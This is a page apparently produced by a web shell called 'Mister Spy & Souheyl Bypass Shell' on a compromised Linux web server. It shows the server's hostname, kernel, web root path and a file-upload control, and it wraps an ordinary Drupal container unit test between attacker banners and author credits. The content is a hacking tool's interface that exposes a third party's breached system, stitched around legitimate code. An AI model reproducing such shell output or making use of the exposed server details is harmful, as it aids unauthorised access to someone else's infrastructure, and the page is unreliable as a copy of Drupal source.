Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html1/web/core/tests/Drupal/Tests/Component/DependencyInjection/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html1/web/core/tests/Drupal/Tests/Component/DependencyInjection/PhpArrayContainerTest.php

<?php

namespace Drupal\Tests\Component\DependencyInjection;

use Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * @coversDefaultClass \Drupal\Component\DependencyInjection\PhpArrayContainer
 * @group DependencyInjection
 */
class PhpArrayContainerTest extends ContainerTest {

  /**
   * {@inheritdoc}
   */
  protected function setUp() {
    $this->machineFormat = FALSE;
    $this->containerClass = '\Drupal\Component\DependencyInjection\PhpArrayContainer';
    $this->containerDefinition = $this->getMockContainerDefinition();
    $this->container = new $this->containerClass($this->containerDefinition);
  }

  /**
   * Helper function to return a service definition.
   */
  protected function getServiceCall($id, $invalid_behavior = ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) {
    if ($invalid_behavior !== ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) {
      return sprintf('@?%s', $id);
    }

    return sprintf('@%s', $id);
  }

  /**
   * Helper function to return a service definition.
   */
  protected function getParameterCall($name) {
    return '%' . $name . '%';
  }

  /**
   * Helper function to return a machine-optimized '@notation'.
   */
  protected function getCollection($collection, $resolve = TRUE) {
    return $collection;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net